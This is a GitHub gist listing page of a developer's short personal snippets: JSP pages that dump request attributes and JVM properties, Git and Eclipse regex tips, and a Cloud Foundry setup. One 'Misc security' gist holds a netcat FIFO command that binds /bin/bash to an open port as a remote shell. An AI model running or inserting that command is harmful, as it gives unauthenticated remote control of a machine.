gerjantd

gerjantd / listreqattrs.jsp

Created April 9, 2013 12:44

Java/JSP: list request attributes

	<HTML>
	<BODY>
	<%
	out.println("<DL>");
	java.util.Enumeration attrs = pageContext.getRequest().getAttributeNames();
	while (attrs.hasMoreElements()) {
	String attr = (String) attrs.nextElement();
	Object val = pageContext.getRequest().getAttribute(attr);
	out.println("<DT>"+attr+"</DT><DD>"+val.toString()+"<DD/>");
	}

gerjantd / listjvmprops.jsp

Created April 9, 2013 12:43

Java/JSP: list JVM properties

	<HTML>
	<BODY>
	<%
	out.println("<DL>");
	java.util.Properties props = System.getProperties();
	java.util.Enumeration e = props.propertyNames();
	while (e.hasMoreElements())
	{
	String key = (String) e.nextElement();
	String value = props.getProperty (key);

gerjantd / gist:4523597

Last active December 11, 2015 01:29

Git: Git for Eclipse users worked example

Git for Eclipse users worked example

In first shell

$ mkdir example
$ cd example
$ git init
Initialized empty Git repository in /home/gerjan/example/.git/

gerjantd / gist:4259951

Created December 11, 2012 16:19

Cloud foundry Grails app from scratch

	Cloud foundry Grails app from scratch
	=====================================

	* Pre: Ubuntu 12.10 desktop system
	* Log in (guest account)
	* Alt+F2 firefox
	* http://www.springsource.org/downloads/sts-ggts
	* http://download.springsource.com/release/STS/3.1.0/dist/e3.8/groovy-grails-tool-suite-3.1.0.RELEASE-e3.8-linux-gtk.tar.gz
	* Alt+F2 gnome-terminal
	* cd Downloads/

gerjantd / gist:4114046

Created November 19, 2012 21:22

Misc security: nc (netcat), nikto, tcptrack

	mkfifo foo
	nc -lk 2600 0<foo \| /bin/bash 1>foo 2>&1
	(REMOTE: nc myip 2600)

	mkdir -p foo/bar/baz/quux
	cd foo/bar/baz/quux/
	for i in `seq 1 1000`; do echo -n $i" " >> foobar.txt ; done
	zip -f foo.zip foo/
	hexedit foo.zip

gerjantd / gist:3960871

Created October 26, 2012 19:21

Eclipse/regexp: replace property value by el variable with name identical to property

	Find: (^\w\.\w)=.*$
	Replace with: $1=\$\{$1\}

gerjantd / gist:3960594

Created October 26, 2012 18:38

Eclipse/regexp: replace single nested properties by xml elements

	Find: (^\w\.\w)=(.*)$
	Replace with: <$1>$2</$1>

gerjantd / gist:3898661

Created October 16, 2012 10:57

Shell/git: show most recent log entry for all repos in current dir

dorsthog@svl01-int-p:/data/git> for f in `find -mindepth 1 -maxdepth 1 -type d -name "*.git"`; do echo $f; pushd .; cd $f; git log|head -5; popd; done

gerjantd / gist:3898311

Created October 16, 2012 09:32

Shell/git: show diff between local and remote master for all repos in current dir

	gerjan@peertje:~/git/svl01-int-p.rivm.nl$ for f in `find . -mindepth 1 -maxdepth 1 -type d`; do echo $f; pushd .; cd $f; git diff --shortstat master origin/master; popd; echo; done
	./ttapp
	~/git/svl01-int-p.rivm.nl ~/git/svl01-int-p.rivm.nl
	~/git/svl01-int-p.rivm.nl

	./springpad-mvc-ro
	~/git/svl01-int-p.rivm.nl ~/git/svl01-int-p.rivm.nl
	~/git/svl01-int-p.rivm.nl

	./divocos

gerjantd / gist:3828023

Created October 3, 2012 16:23

Shell: create an ISO image from a folder's contents

mkisofs -o /tmp/foo.iso foo/

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